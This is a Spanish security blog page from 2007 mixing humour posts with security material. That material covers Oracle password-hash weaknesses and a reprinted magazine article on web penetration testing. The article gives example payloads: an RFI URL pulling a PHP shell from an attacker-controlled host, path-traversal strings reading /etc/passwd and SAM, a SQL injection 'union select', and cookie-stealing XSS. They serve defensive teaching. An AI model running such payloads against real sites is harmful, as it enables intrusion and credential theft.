¿Qué oscura degeneración hará que caigan en el lado del mal?. Todos, todos, vendidos.

martes, junio 12, 2007

Extraido de Contexto con maldad... ¿o no?

Hola, holita,

En la última codecamp, en la que la gente se lo pasó “turco”, como se puede ver en este post de Ánder, “Sweety” y yo, osea “nasty”, en la charla de “El Rock ha muerto” decidimos hacer un test de conocimientos para ver cuantos están al día de las tonterías que se dicen en el mundo de la informática. El test era un poco más largo, pero he “censurado” algunas preguntas porque ya me llevo peleando mucho esta semana. El objetivo es tan sencillo como adivinar quién ha dicho qué cosa. Son frases extraidas de contexto con maldad... ¿o no?.

Os las dejo aquí. A ver que puntuación sacáis para averiguar vuestro "nivel de maldad".

1.- Linux has never even been a "Free Software" project

Respuesta: Lo dijo “éste” y lo dijo "aquí" y ya polemizamos sobre esto en este post.

2.- Kernel 2.6 is slowly getting buggier

Respuesta: Lo dijo “éste” y lo dijo aquí y además este otro dijo sobre ello "The worry is certanly real" y ya polemizamos sobre esto en este post.

3.- But when software security and quality really matter—like crossing the Atlantic on a jet airliner—trust me, you want to fly proprietary.

Respuesta: Lo dijo “éste” y lo dijo "aquí" y ya polemizamos sobre esto en este post.

4.- Spectra: Good Security Staff

Respuesta: Lo dijo “éste” y lo dijo "aquí" y ya polemizamos sobre esto en este post.

5.- Considering that ODF spent a year receiving public scrutiny and it has holes the size of the Gulf of Mexico, it seems that the call for delaying its adoption [de OOXML] is politically based and not technically based

Respuesta: Lo dijo “éste” y lo dijo "aquí" y ya polemizamos sobre esto en este post.

6.- No hay empresas buenas, solo quieren empobrecer a la gente.

Respuesta: Lo dijo “éste” y lo dijo "aquí" y ya polemizamos sobre esto, o algo parecido en este post.

7.- [someone] “was harsh in his appraisal of the open-source community: he asserted that security researchers were only interested in finding splashy bugs and posting them to security mailing lists”

Respuesta: Lo dijo “éste” que se le ocurrió esta "vanalidad" y lo dijo "aquí" y ya polemizamos sobre esto en este post.

8.- Me entero [..] que esa absurda tecla con el simbolito de Windows que no utilizas más que cuando tropiezas accidentalmente con ella y te abre el inútil menú de Inicio, resulta tener un interesante conjunto de utilidades en forma de atajos de teclado en combinación con otras teclas.

Respuesta: Todo en este post.

9.- Lo peor de Linux: La instalación de Aplicaciones

Respuesta: Todo en este post.

10.- Me abro y no de patas.
Respuesta: Lo siento, esta es para nota.

¿Cuánto has sacado? ¿Eres muy malvado?

lunes, junio 11, 2007

De exámenes again

Supongo que muchos de vosotros estaréis sufriendo igual que yo con las fechas de exámenes. Nunca pensé que volver a la universidad 10 años después iba a ser así. "Na, me lo tomaré con calma" ....y un X$5/#&# como la manga de un abrigo. Estoy igual de nervioso, o más. Además, tengo que leer el PFC este Julio y estoy hasta arriba.

Prometo un día contaros todas las peripecias en estos tres años de vuelta a la universidad cuando haya acabado. Como adelantao os he dejado el Capitulo 0 en la página web de Maguila el Gorila. Esa es una de las prácticas de la universidad que hubo que entregar y el mismo día de la entrega descubrí que habían cambiado el enunciado y necesitaba hacer una animación. Así que agarré a Filemaster y le toco hacer de Lagarto Juancho para cumplir con los requisitos de tener una animación con música, movimiento y algo de interactividad.

Ya,ya, no soy un artísta, pero que le vamos a hacer. La otra alternativa sería esperar 32 años (otra vida mia entera) a que me hiciera tan famoso como Willy y me dieran el doctorado honoris causa, pero no lo veía yo muy factible. (¿Derecho?)

Sigo currando, que no llego!

domingo, junio 10, 2007

Momentus Ridiculous V

El desbarre se iba acumulando, así que decidimos que ya había llegado la hora de poner las cosas en sus sitio y contar a las hordas de Spectra como funciona el mundo, así que, nos convertimos en evangelistas del sistema operativo Stalinux para enseñara a esos burgueses como son las cosas.

Marzo de 2006. Open Day de los MVPs

Antes de comenzar, conociendo las malévolas intenciones de los seguidores de Spectra decididmos publicar un Disclaimer en el que dejaramos las cosas claras. Además, aprovechamos para matizar, ya que estabamos en plena polémica con ciertos dibujitos, que nosotros no habíamos hecho ninguna caricatura de esas por las que la gente mata y muere.

Disclaimer previo a la entrada

Después comenzamos con el discurso evangelizador para que la gente dejara de usar los sistemas Kapitalistas de SpeKtra con los siguientes mensajes:

- Linux es Fácil
- Todo el mundo te ayuda
- Linux es más mejor
- Windows es malo
- Winndows te espía
- Linux no tiene fallos de seguridad



Entrada con Alegría para que vean que somos buenos chicos

Al final de la presentación vimos a alguno que borraba del Grub la entrada del sistema kapitalista convencido por nuestro mensaje. Aquí tenemos una foto del momento del abrazo a la luz por parte de ese alma recogida del lado del mal para pasarse al bien.

4 camaradas Stalinuxeros

Así que ya sabes, no nos mires y únete!

sábado, junio 09, 2007

La Mierda del Mail

Para los registros temporales en mil sitios en los que no te interesa estar registrado o enviar tus datos proliferaron los sistemas de correos temporales. En mis tiempos nos sacábamos una cuenta en cualquier sistema como Mixmail, Hotmail, Terra, Marca, Vodafone o Gmail, pero cada vez son más coñazos y fastidiosos los procesos de registro, además, antes rellenabas los formularios con datos falsos y colaba, pero ahora hacen mil comprobaciones en javascript y es un engorro.

Se dio después la moda de los correos temporales que no exigían registro y duran solo lo que dura el proceso de sesión en la página web. Tienen su utilidad, pero no son perfectos ya que en muchos registros que piden “el e-mail corporativo” los tienen filtrados. Aún así sigue siendo útil usarlos en mil sitios. Puedes sacar un buzón temporal de estos en cualquiera de estos sitios (hay muchos más) :

- Spambox.us
- Dodgeit.com
- Tempinbox.com

Sin embargo hoy quería hablaros de uno que hay en España que es genial, se llama “MierdaMail” y me imagino que no tardará mucho en ser filtrado en las empresas españolas, pero me imagino a la empresa de turno en osaka, Canada.


- Yes, he is from a Spanish company called “MierdaMail”.
- I think he is very interested in our services.
- Oh, great!, phone him now!


En este caso tu mierdamail, no te permite elegir el nombre, ni ver lo que te contestan y tampoco los adjuntos, solo te permite ver quién, a qué hora y cuál era el asunto.

En fin, que yo ya tengo mi mierdamail (por 15 minutos).

PD: Con esto de la internalización del castellano lo primero que aprenden todos los extrangeros son frase hechas como:

"Cierra la puta boca, gilipollas, Siesta, Fiesta, Cerveza, Real Madrid, Raúl, Hijo de Puta y Mierda."

Así que yo propongo, para que no nos baneen rápidamente y en honor de mi malaguita preferido, el Mojonmail.com. Ya me veo yo con mi correo maligno@mojonmail.com ¡Qué grande! ¡Daos prisa, el dominio está libre!

viernes, junio 08, 2007

Blind Comment Injection en la ciudad de los krispis

Las técnicas de ataque a ciegas son lo que me está trayendo un poco loco este loco semestre que llevo, que me ha hecho hasta adelgazar unos kilos más (¡y eso que dicen que el alcohol engorda!)

Hoy quiero contaros un experimento empírico realizado con un viejo amigo de todos y fan de las libertades que desde su Internet Corner nos alegra las mañanas, tardes y noches con sus alegres comentarios.

Recientemente se hacía ecode un estudio que ha realizado la gente de Google para analizar donde se aloja el malware en los servidores de Internet. El estudio dice que se aloja por igual en los servidores IIS y Apache. Evidentemente el mensaje subliminal dice: si hay más Linux y tienen el mismo porcentaje de malware entonces IIS es más peor y lo remata con el gran dato de la complejidad de las llamadas.

Porque claro, todos sabemos que mi bicicleta es mucho más segura y más mejor que un complejo Lamborghini Diabolo, solo hay que ver el árbol de funcionamiento. Y esos complejos Formulas 1 llenos de ...llenos de...de ... "cosas", así le va al Kimi ese. Donde esté mi 600 con 4 marchas....


Cuando miras el gráfico de la discordia en el informe de Google, en este link, se ve una cosa muy curiosa, y es que en los países con poca piratería o con un nivel informático alto todo se va hacia Apache, es decir, lo que hace que suba el malware alojado en IIS son los países de ASIA, así la gente de Google dice:

“We suspect that the causes for IIS featuring more prominently in these countries could be due to a combination of factors: first, automatic updates have not been enabled due to software piracy (piracy statistics from NationMaster, and BSA), and second, some security patches are not available for pirated copies of Microsoft operating systems. For instance the patch for a commonly seen ADODB.Stream exploit is not available to pirated copies of Windows operating systems”

A pesar de que esto lo dice la propia gente que ha hecho el informe nuestro amigo dice algo como:

“han comenzado a surgir diversas interpretaciones. Por ejemplo, a la hora de analizar la distribución por países se observa que la presencia de Microsoft IIS es apabullante en los servidores infectados de China y Corea del Sur. Si se tratara de servidores pirata, es de suponer que no estarían convenientemente parcheados. No sé a ustedes, pero a mí tal interpretación -aunque posible- no me convence como argumento exculpatorio…”

Esta teoría NO ha comenzado a surgir va directamente en el informe que ha publicado la gente de Google. No es que Spectra, en su infinito ánimo de gobernar el mundo busque nuevas excusas. Los datos, que hoy tanto le gustan, dicen lo que dicen, así que, como hoy molan los datos, vayamos a los expedientes de seguridad que suceden cosas muy curiosas. La versión 6 de IIS, de allá por el año 2003 tiene los siguientes fallos de seguridad:

Fallos de IIS6.0

Mientras que la versión Apache que salió (de la rama 1.3, la más popular) al mismo (palmo más o palmo menos la 1.3.29) tiempo tiene solo estos otros:

Fallos en Apache 1.3.29

Y eso que a IIS le cargamos los modulos ASP y los de Administración Web y no hacemos lo mismo con el Webmin y el PHP con Apache. Pero esto nuestro amigo aficionado a la seguridad, que no creo que nada más lea la prensa rosa, lo habrá comprobado alguna vez, digo yo.

Venga, cojamos un Apache 1.3.33 del año 2005. ¡Ale!, dos años de ventaja, que sin los mismos módulos tiene 6 en la mitad de tiempo. ¡Que graciosas las mates!. Venga, luego miramos nivel de criticidad, facilidad de explotación, tiempo de exposición al riesgo y demás, pero como he dicho comparando roles completos, como este informe del año 2005: Web Server Role Comparison

Al leer este dechado de virtudes en un tipo “aficionadillo” a la seguridad he pensado en que habría que encontrar un método de ponerle algún comentario para debatir. Esto no es tarea liviana, pues en ese foro de libertad, cualquier cosa que NO comulgue o critique su artículo no será publicada, pues, no tiene tiempo que perder en “debates absurdos” para hacer ver a los demás que él lleva la razón, así que directamente no son publicados.

Tras enviar varios comentarios y ser censurados hemos encontrado el camino. La técnica, como marcaba el título, es a ciegas, así que hemos tenido que indagar en los resultados del resto de los comentarios y un viejo amigo por fin consiguió que le admitiera el comentario, solo había que utilizar un sencillo proceso.

Os posteo el mail del momento final del éxito en el cual se nota la euforia contenida de nuestro primer comentario en la ciudad de los krispis:

“Ya he conseguido que me publique todos los comentarios.

El secreto está en dos claves:

* Titular: "La culpa es de M$" (nótese el símbolo del dólar)
* Decir subnormalidades

¿Por qué no participas en este apasionante reto? ¿Hasta qué punto es capaz de publicar retrasadeces mentales y negar comentarios que no comulguen con su ideología? ¡Participa!

Este es de mi cosecha:
http://www.kriptopolis.org/conclusiones-ciberataques-a-estonia#comment-16106"


Y ahí luce el dechado de inteligencia que se mandó, y que lógicamente pasó el filtro:

La culpa es de M$
Enviado por alguien el 31. Mayo 2007 - 0:36.
Claro, porque está clarisimo que el software libre, por el hecho de ser libre, aguantaría cualquier ataque DDOS mucho mejor que otros productos. Su tolerancia es mayor. Si el monopolio fuese de otros productos, otro gallo cantaria.”


Como veis, totalmente argumentado y fácilmente comprobable, y, dentro de su política de libertad, ese comentario ha entrado, así que ¿a que esperas? Pon el tuyo!! Seguramente con un ”M$ es la culpable de que la vida esté mu cara” y luego pones algo así como “todo el mundo sabe que con Software Libre hasta el café valdría más barato” seguro que te llevas to el premio!

Ánimo, ¡sé libre y usa la técnica de Blind Comment Injection!

jueves, junio 07, 2007

La Clave del Oráculo

Hubo un tiempo en que me llamaban para arreglar Oracles y enseñar a la gente a gestionar los tablespaces transportables, a gestionar los parámetros de los init.ora y como funcionaban los pmon y los simones. Montar Oracles con tres puntos de montaje y gestionar las copias de seguridad con el rman y realizar el siempre tan complejo tunning de los servidores oracle.

De todos aquellos tiempos me ha quedado un recuerdo agridulce y un cierto conocimiento del producto estrella de la casa del barquito molón, por eso siempre me gusta conocer las peculiaridades de seguridad del producto. Desde el año 2005 en que lo enfilaron algunos investigadores de seguridad como Cesar Cerrudo o David Litchfield se han visto en el ojo del huracán.

A finales de año 2005 Sans Institute publicó un documento titulado "An Assessment of the Oracle Password Hashing Algorithm" en el que contaba como se podían crackear los hashes de las cuentas de usuario de una base de datos analizando en un chulisimo ejemplo como el algoritmo de generación de passwords concatena usuario y password en mayusculas para luego hacer unas bonitas divisiones. Llegando a las siguientes conclusiones:

- Weak password salt selection;
- Lack of alphabetic case preservation;
- Weak hashing algorithm.


El "salting", como ya sabréis todos, se usa para evitar que dos usuarios con la misma password tengan el mismo hash (las casualidades ocurren, sobre todo con las passwords tontas). El proceso que usa Oracle es pensar, “vale, podrán tener la misma password, pero nunca el mismo par usuario y password”, es decir que no puede haber dos usuarios “pepe” con contraseña “namorao”, con lo cual, si uno los dos y luego hago el hash siempre serán único. Cagada. Podemos tener los siguientes pares pep/enamorao y pepe/namorao que deberían dar la misma unión.

La gente de Sans creo dos usuarios e hizo la siguiente prueba:


¿A que mola? Pasa de minúsculas y encima genera el mismo hash, porque lo hace concatenando el usuario y la password. Por último tras analizar el algoritmo utilizado por Oracle:

1. Concatenate the username and the password to produce a plaintext string;

2. Convert the plaintext string to uppercase characters;

3. Convert the plaintext string to multi-byte storage format; ASCII characters have the high byte set to 0x00;

4. Encrypt the plaintext string (padded with 0s if necessary to the next even block length) using the DES algorithm in cipher block chaining (CBC) mode with a fixed key value of 0x0123456789ABCDEF;

5. Encrypt the plaintext string again with DES-CBC, but using the last block of the output of the previous step (ignoring parity bits) as the encryption key. The last block of the output is converted into a printable string to produce the password hash value.


Sucede igual que cierta fase de cierto reto que aún no tiene solucionario, es decir, que no es costoso computacionalmente cepillárselo, así que hicieron unos cálculos con ataques de diccionario y con ataques de raimbow tables y se podían computar unas 830.000 passwords al día, dejando una contraseña de 8 caracteres cepillada en menos de 40 días con la fuerza bruta y una vez calculadas las rainbow en menos de 4 minutos estaba lista la password.

Claro, este método siempre implicaba el acceso a los hashes a lo cual Oracle contestó con un mail a sus clientes:

Dear Oracle customer,

Oracle Global Product Security has investigated the recent publication by Joshua Wright of the SANS Institute, and Carlos Cid of the University of London’s Royal Holloway College, entitled “An Assessment of the Oracle Password Hashing Algorithm.” This paper presents an analysis of the Oracle Database password hashing algorithm. It describes potential attacks against this algorithm when an attacker has access to password hash information.

Oracle considers adherence to industry standard security practices the best way for customers to protect their database systems. In particular, issues noted in the paper can be addressed through limiting access to password hash information, and by enforcing good enterprise password policies. Moreover, Oracle customers have authentication options available which avoid the issues described in this paper.
[...]


Así que puedes cambiar el mecanismo de autenteicación o tener un "Mundo Perfecto", pero ¿qué sucede en un Mundo Perfecto?

What happens if this attack is launched in a perfect world? In the perfect world all systems - database and host operating system - are fully patched. No known exploits work. All users have only got the privileges they really need. Unauthorized hash retrieval is not possible. Default username/password combinations do not exist anymore since passwords are changed or accounts are disabled. Therefore unauthorized access is not possible. In a prefect world, if a database administrator selects a view or table containing the hashes1, it will be recorded in the audit trail and disciplinary action can be taken. In such an environment, the conclusion is that an attacker will not be able to obtain the encrypted passwords. No reference material means no cracking therefore no risk. End of story? No, not at all.

Así comienza el documento que ha publicado vonjeck en The Hacker Choice.

En este caso, en este Perfect World existen los clientes que se autentican por la red, y es ahí donde se han centrado. El objetivo ha sido analizar el algoritmo que utiliza un cliente para probar su identidad. Para resolver el misterio han hecho unas pruebitas muy chulas usando TOAD como cliente.

El algoritmo estaba descrito en “Advanced Oracle Administrtor Guide” de la siguiente forma:

The purpose of Authentication Key Fold-in is to defeat a posible third party attack (historically called the man-in-the-middle attack) on the Diffie-Hellman key negotiation. It strengthens the session key significantly by combining a shared secret, known only to the client and the server, with the original session key negotiated by Diffie-Hellman.

The client and the server begin communicating using the session key generated by Diffie-Hellman. When the client authenticates to the server, they establish a shared secret that is only known to both parties. Oracle Advanced Security combines the shared secret and the Diffie-Hellman session key to generate a stronger session key designed to defeat a man-in-the-middle attack.


¿Shared Secret? Malo, malo. Si un shared secret (clave compartida) circula por la red es malo. El objetivo ha sido descubrir como funciona ese Shared Secret. Lo curioso es que esa clave es solo conocida por el cliente y el servidor. MMMM. Y lógicamente no será la misma para todas las conexiones, ¿no?. Efectivamente, es distinta. ¿A que no adivináis que es algo que conocen solo el cliente y el servidor? Pues evidentemente algo que derive del hash de la password.

¿Cómo? ¡No es posible! Pues sí. Tirando del hilo han analizado el proceso completo para poder generar una herramienta que capturando el tráfico de inicio de sesión poder realizar un ataque por fuerza bruta y les ha dado la siguiente tabla de tiempos:


Por suerte,esto no funciona siempre así, tras hacer varias pruebas han visto que con clientes nativos en las versiones 9i y 10g el comportamiento es distinto, pero sin embargo con drivers no-Oracle o drivers no-nativos se produce una degradación y el funcionamiento es como el descrito en el documento. Así, por ejemplo con Oracle JDBC Thin Driver incluido en la version 10g Release 2 se fuerza a Oracle 9i and 10g a funcionar de esta manera. Este driver, por ejemplo, es común en desarrollos en entornos IBMWebSphere, Apache TomCat y BEA WebLogic, además, es posible inyectar paquetes que degraden el funcionamiento de 9i y 10g a esta forma de trabajo.

Poca cosita, ¿no? ¿Quiéres probarlo? Bájate las tools que están en este sitio.

miércoles, junio 06, 2007

Hacker. La palabra perdida

Cuentan la historia que en origen la palabra hacker se usaba para denominar a aquellos que eran capaces de hacer "trucos" con cualquier aparato, cachivache o artilugio para que hiciera cosas que en origen no se habían pensado. Es decir, que sacara funcionalidades extras o capacidades más allá de sus especificaciones.

Con el tiempo el termino se ha ido transformando, volteando, retorciendo y reasociando hasta tener hoy múltiples concepciones y matices. Socialmente se ha ido desplazando el término hacker hacia lo que las personas que trabajan en seguridad informática denominan atacante o delincuente y tiene por tanto, en la sociedad connotaciones negativas.

Cuando te pones a ver la historia del término, piensas “no, joder, hacker es algo bueno, no es algo malo”, pero a medida que te acercas a la actualidad dices “mmm, tal vez sí sea necesario aclarar un poco esto y separar las churras de las merinas”.

Han existido múltiples intentos de clarificar esto, uno de ellos fue el de separar hacker de cracker. Algo así como buenos y malos, pero había un pequeño problema, y es que una disciplina para realizar cracks y a esa gente no le gustó que se asociara el termino cracker con algo negativo.

Otra opción fue la de usar los colores, de tal manera que hablamos de White Hacker, como de hacker ético, Black Hacker el malo. Pero la vida no es blanca o negra, así, cuando aparece el movimiento de los hacktivistas, o hackers por motivos éticos/políticos el prisma de colores cambia, así que tendríamos una amplia gama de colores entre el white hacker y el black hacker. Podríamos llamar el Yellow Hacker a aquel que se cepilla solo las webs de prensa rosa ya que aunque esté mal joder webs está haciendo un bien a la sociedad ¿ o no ? (chiste malo, purrumpun chis!) Yo en honor a la Reservoir Dogs elegiría ser uno de color rosa. Esto parece una broma, pero cuando se ven las motivaciones de los grupos hacktivistas, pocos lo hacen 100 % por motivos políticos por lo que parece difícil dividir el mundo en blanco y negro.

Al final resulta que cuando me encuentro con gente que sabe un huevo de seguridad casi ninguno quiere que le llamen hacker, prefieren ser ellos mismos, con su nombre y apellidos o su nick en la red. Así que, la pregunta que me viene a la cabeza es ¿está perdida la palabra hacker? ¿Alguien quiere recuperarla? ¿No existe quizás demasiado argot?

martes, junio 05, 2007

File Format Wars

Dos de las grandes quejas históricas contra Spectra (extensible a todas las compañías que no están en el circuito OS/SL) ha sido el uso de formatos propietarios y la falta de documentación de los mismos.

Dentro de esa lucha, Spectra liberó sus formatos de fichero en las aplicaciones Office y en la versión 2007 de su paquete propuso Office Open XML como formato de fichero y comenzó el camino de su estandarización.

El primer paso fue convertirlo en estándar ECMA y el siguiente paso, en el que se está ahora mismo, intentar convertirlo en un estándar ISO. A partir de ese momento comenzaron las guerras de los formatos de fichero como relata Miguel de Icaza en su blog en el post "The EU Prosecutors are Wrong".

Estas guerras anti estandarización de Office Open XML tienen varios argumentos en contra que parece que se están cayendo.

Una de las quejas tradicionales es que Spectra no daba suficiente información para realizar aplicaciones que pudieran interoperar con sus documentos, y esto es fundamental cuando se propone migrar a alguien a otro paquete ofimático pues como dice el propio Icaza:

“Microsoft Office might have some features that we do not have, the cost of migration is not zero, existing licensing deals sweeten the spot, and there are compatibility corner cases that slow down the adoption”

Argumento que hizo, como ya es público, que el Ayuntamiento de Barcelona se echara atrás en el intento de usar SL por precio. Algo que ya hizo previamente el Ayuntamiento de Birmingham con su proyecto de bibliiotecas.

Spectra, a petición de la comunidad decidió dar toda la información disponible sobre el nuevo formato de fichero y entonces sucedió que muchos usaron la actitud de dónde dije “digo” digo “Diego”:

“A common objection to OOXML is that the specification is "too big", that 6,000 pages is a bit too much for a specification and that this would prevent third parties from implementing support for the standard.

Considering that for years we, the open source community, have been trying to extract as much information about protocols and file formats from Microsoft, this is actually a good thing.”


Lo bueno es que muchos de los detractors de OOXML y defensores a ultranza de ODF no tienen que tirar código pues como dice Icaza:

“Depending on how you count, ODF has 4 to 10 pages devoted to it. There is no way you could build a spreadsheet software based on this specification.”

¿Alguien ha intentado hacer un proyecto con un mal cierre de requisitos? La única forma que se le ocurre a Icaza para crear una hoja de cálculo que use ODF a partir de este "volumen" (no se si usar el término volumen para referirme a un conjunto de 4 a 10 páginas es correcto) de información consiste en analizar lo que ya hay hecho en Open Office viendo su código o directamente ayudarse de la documentación de OOXML, curioso ¿no?

“To build a spreadsheet program based on ODF you would have to resort to an existing implementation source code (OpenOffice.org, Gnumeric) or you would have to resort to Microsoft's public documentation or ironically to the OOXML specification. “

Para ayudar más, Spectra ha puesto un conversor ODF a OOXML y viceversa disponible para todos los usuarios

Así que parece que las quejas para evitar la estandarización de OOXML son más políticas que técnicas:

"The motivation for tracking these issues seems to be politically inclined, but it manages to pack some important technical issues.
[...]
There is nothing fundamentally better or worse in those standards [OOXML y ODF]."


Y parece ser que que los argumentos técnicos se van a terminar.

"The best possible outcome in delaying the stamp of approval for OOXML would be to get further clarifications on the standard. Delaying it on the grounds of technical limitations is not going to help much."

Sobre todo considerando a ODF como referencia:

“Considering that ODF spent a year receiving public scrutiny and it has holes the size of the Gulf of Mexico, it seems that the call for delaying its [OOXML] adoption is politically based and not technically based. “

Curiosa reflexión de Miguel de Icaza, ¿tú que opinas?

PD: ¿Ha dicho Golfo de México?

lunes, junio 04, 2007

Test Intrusión Web (parte II de II)

**********************************************************************************
Artículo publicado en PCWorld Mayo de 2007.
Lee la primera parte en Test Intrusión Web (parte I de II)
**********************************************************************************

Cross-Site Scripting (XSS)

Si tu aplicación recoge datos desde los clientes y van a ser mostrados a otros usuarios, como por ejemplo un foro, un listado de peticiones, mensajes de contacto desde fuera, o cualquier texto o dato debe ser filtrado correctamente para evitar que se almacenen programas escritos en javascript que cuando se muestren le permitan al atacante robarte la cookie de la sesión, hacer un defacement u obligarte a realizar acciones que no quieres. Imagina un sistema de mensajes de contacto, alguien te manda un mensaje y en él va escrito un programa javascript que coge tu cookie y la envía utilizando AJAX (de forma asíncrona y sin mostrar ningún efecto en tu navegador) a un servidor controlado. A partir de ese momento el usuario podrá controlar tu sesión. Este ataque se llama hijacking de sesión, es muy usado para robar las contraseñas de los correos basados en web o cuentas de foros. Otra ataque que se realiza es el forzado de acciones, imagina que eres un usuario administrador del sitio y te obligan a ejecutar una llamada a creausuario.php?u=ramon&passw=•$FAsfg sin que tu te des cuenta. En las webs de concursos públicos, donde cada usuario puede votar, son corrientes estos ataques, para conseguir subir los votos de “tu campeón”. Para probar estas vulnerabilidades se envían en todos los parámetros que vayan desde el cliente al servidor comandos [script] para detectar si los acepta o no. Puede que la forma en la que se filtran no sea segura y que codificándolos en Unicode o usando secuencias de escape se puedan saltar los filtros, así que es conveniente que las funciones y mecanismos de filtrado sean correctamente evaluadas.

Todo parámetro que vaya a almacenarse en el servidor y que posteriormente vaya a ser mostrado en alguna página web debe ser comprobado para evitar que se envíe información dañina a un usuario desde otro usuario. Existen tecnologías, como ASP.NET en las cuales esta comprobación va por defecto y no se permite ningún parámetro que lleve etiquetas HTML o código JavaScript. No obstante, es importante que se realice comprobación, por parte del programador de este tipo de acciones.

XSS para robar una cookie

Remote File Inclusion

En el caso de los ataques Remote File Inclusión (RFI) el usuario busca algún parámetro utilizado en la aplicación en el que se vea que el usuario está realizando una inclusión de programas de servidor. En muchas tecnologías de desarrollo no se permite la inclusión de códigos en el lado del servidor desde ubicaciones remotas, pero algunas, como PHP, sí que la permiten. Desarrollos del tipo http://miserver/plantilla.php?pagina=noticias.php donde noticas.php es una aplicación que se va a incluir en la ejecución de plantilla.php. El atacante busca introducir una shell en el lado del servidor desde una ubicación controlada. http://miserver/plantilla.php?pagina=http://servercontrolado/php_shell.php. Para detectar este tipo de vulnerabilidades existen herramientas como RPVS.

RPVS

Ataque RFI con cbreak para ver el código fuente

WebTrojans

Los ataques de Webtrojans buscan explotar vulnerabilidades en la recepción de archivos por parte de los websites, por ejemplo aquellos en los que se pide un curriculo o una foto o cualquier cosa que implique que el visitante o usuario de la aplicación tenga que enviar un fichero desde el cliente.

Si los ficheros no están bien filtrados, son almacenados en una ubicación pública y además en un directorio en el que no se han restringido los permisos de ejecución, entonces el usuario podrá subir un webtrojan que podrá hacer tantas cosas como permisos tenga el usuario que representa al servicio http dentro del servidor web. Podrá ver ficheros no publicados, copiar, borrar, modificar ficheros, etc… ¡¡Todo muy divertido!! Si tienes un aplicativo donde algún usuario puede subir ficheros al servidor, revisa correctamente donde se almacenan, que permisos tienen y que tipo de ficheros se permiten subir. Las Shells PHP, shells JSP o ASP.NET son usadas en este tipo de ataques.

Webtrojan

El cucharón

¿Devulve ficheros tu aplicación mediante algún procedimiento? Si has creado un sistema del tipo descarga_fichero.php?id=fichero.pdf ten en cuenta como funciona tu programa contra una manipulación de la ruta, es decir, si alguien pusiera, por ejemplo descarga_fichero.php?id=../../../../etc/passwd o descarga_fichero.php?id=c:\windows\repair\sam. ¿suena a ciencia ficción verdad? Esto también tiene su versión con sql injection. Imaginemos un entorno del tipo descarga_fichero.jsp?file_id=323. En este caso, el programa esta accediendo a una base de datos / fichero Xml a obtener la ruta dónde está almacenado ese fichero dentro del servidor y recibirá algo como H:\datos\ficheros\mifile.pdf. Con SQL Injection en ese parámetros (o XPath Injection) alguien podría hacer algo como descarga_fichero.jsp?file_id=0 union select ‘/etc/passwd’ from any_table. ¿cómo se comporta tu aplicativo? ¿Están bien todos los permisos? Al final, no es nada más que una vulnerabilidad de directory transversal más un código que devuelva ficheros más vulnerabilidad necesaria para poner rutas. Pero queda gracioso, ¿no?

Código descargar.php que no realiza ninguna comprobación y permite descargar cualquier fichero donde el usuario con que está instalado el servidor web tenga acceso.

Auditoria de las acciones del usuario

No solo deben auditarse las acciones referidas a errores, sino todas acciones que realice un usuario dentro de la aplicación. Dicha información ayuda a crear un perfil de uso de la aplicación, permitiendo detectar ataques por anomalías de uso en el perfil. Por ejemplo usuarios que se conectan desde otros países o usuarios que consultan 50 veces por hora la cartelera. Esas acciones anómalas suelen significar la presencia de un ataque.

OWASP

Open Web Application Security Project es una comunidad que se ha creado para generar una metodología de trabajo seguro en aplicaciones web. Dicho proyecto no solo está formado por una amplia colección de guías que ayudan al desarrollo y la auditoría sino también por herramientas que ayuden a la evolución. Dicho proyecto tiene desarrollado un modelo de amenazas y recomendaciones y mecanismos de seguridad para aplicaciones web que trabajan con criptografía, servicios web, conexiones AJAX, sistemas de ficheros, aplicaciones compiladas y script, protección contra phising, etc…

Dentro de OWASP están enmarcadas muchas aplicaciones para el análisis de la seguridad en la web. Pantera, Sprajax, WSFuzzer, WebGoat y el famoso WebScarab son algunas de las principales herramientas englobadas en el proyecto.

Webscarab

Toda la información del proyecto está disponible en una wiki en la siguiente URL: http://www.owasp.org/index.php/Guide_Table_of_Contents

Otras Herramientas de auditoría

Cada carpintero con sus tools. En OWASP existen muchas para diversas pruebas, algunas de las que uso yo son Achilles, Odysseus y Burpproxy como herramientas de MITM en el cliente y análisis de datos en transferencia. Fiddler de Microsoft, es una herramienta para debugging http Proxy muy útil. Para los amantes de firefox existen un montón de plugins para realizar las pruebas de auditoría, la gente de Security Database las han catalogado y es posible acceder a la información de todas ellas en el siguiente documento PDF.

Microsoft Fiddler

Fiddler en acción

Acunetix Web Vulnerability Scanner

A la hora de automatizar este tipo de auditorías existen herramientas que analizan los parámetros de los aplicativos de tu web y realizan comprobaciones contra XSS, SQL Injection, RFI (Remote File Inclusion), etc… Una de mis preferidas es esta: Acunetix WVS. Esta herramienta “machaca” literalmente la web a pruebas de seguridad y realiza los análisis de estructura del sitio, machea el sitio contra la Google Hacking Database (GHDB) buscando descuidos de configuración, realiza pruebas de autenticación con usuarios comunes, etc… Si no eres un experto en seguridad y no puedes permitirte un test de intrusión porque tienes muchas webs que auditar o porque no deseas que otro vea tus webs, esta es una alternativa perfecta. Puedes descargar una versión de evaluación de http://www.acunetix.com

Acunetix

Los Retos Hacking

La test de intrusión en aplicaciones web generan un gran interés. Quizás por qué es como resolver un puzzle o porque cada uno es distinto. Los “War Games”, que si cuentan con un buen “master”, al igual que los juegos de rol, son divertidísimos. Aun están disponibles 9 de los 10 niveles que nos propusieron Cuartango y Cristóbal de Instisec en http://www.boinasnegras.com. También tienes disponibles los retos de El Lado del Mal (Reto 1, Reto 2 y Reto 3). Otros disponibles son el Reto de Pedro Laguna o los Warzones de elhacker.net Y si quieres hacer “trampas” hay algun “solucionario” en la red.

**********************************************************************************
Artículo publicado en PCWorld Mayo de 2007.
Lee la primera parte en Test Intrusión Web (parte I de II)
**********************************************************************************

domingo, junio 03, 2007

El Lado del Mal Hacked en la Codecamp!

O algo así ha tenido que pasar. Yo creo que me han hecho una D.O.S en la Codecamp, pues tengo una resaca como un piano y eso es porque alguien del lado del bien no deseaba que yo posteara más tonterías y han decidido que la mejor forma era echandome garrafón e hinchandome a cubatas.

No puede ser, hoy no soy capaz de escribir, con todas las tonterías que tengo pendientes para tocar las narices un rato.

En fin, como he salido corriendo de Huelva, no he tenido tiempo de despedirme de todos y daros las gracias así que ahí van:

